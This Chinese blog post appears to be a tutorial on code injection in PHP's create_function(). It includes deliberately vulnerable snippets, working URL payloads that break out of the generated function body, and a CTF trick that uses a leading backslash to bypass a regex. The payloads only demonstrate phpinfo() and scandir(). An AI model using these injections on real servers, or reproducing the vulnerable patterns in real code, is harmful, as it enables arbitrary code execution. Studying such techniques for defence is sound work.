create_function()注入

 Von's Blog     2020-01-07   1441 words    & views

create_function()介绍

php中使用create_function()来创建匿名函数。具体用法举例如下:

create_function('$fname','echo $fname."Zhang"')

其等价于

function fT($fname) {
  echo $fname."Zhang";
}

create_function()的利用

1

先来看一段有问题的代码。

<?php
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

payload为:

?id=;}phpinfo();/*

当进行传参后,等价的函数为:

function f1($a)
{
    echo $a.'test';}
    phpinfo();/*
    ;
}

2

<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload为:

?sort_by="]);}phpinfo();/*

3

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

这道题是p牛出的一道题。首先要求不能以字母,数字,下划线开头。思路是在函数的开头加入特定的字符,既能绕过正则又能让函数正常执行。
经过fuzz,发现在函数前面加入%5c(\),可以达到以上目的,至于为什么是%5c,p神给出了答案。

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

接下来的部分,就是要我们可以利用一个函数,然后我们可控它的第二个参数。在这里我们就想到了create_function()函数,于是我们可以构造这样的payload.

?action=%5ccreate_function&arg=;}scandir("./");/*

参考文章

kevens的文章;
f1sh的文章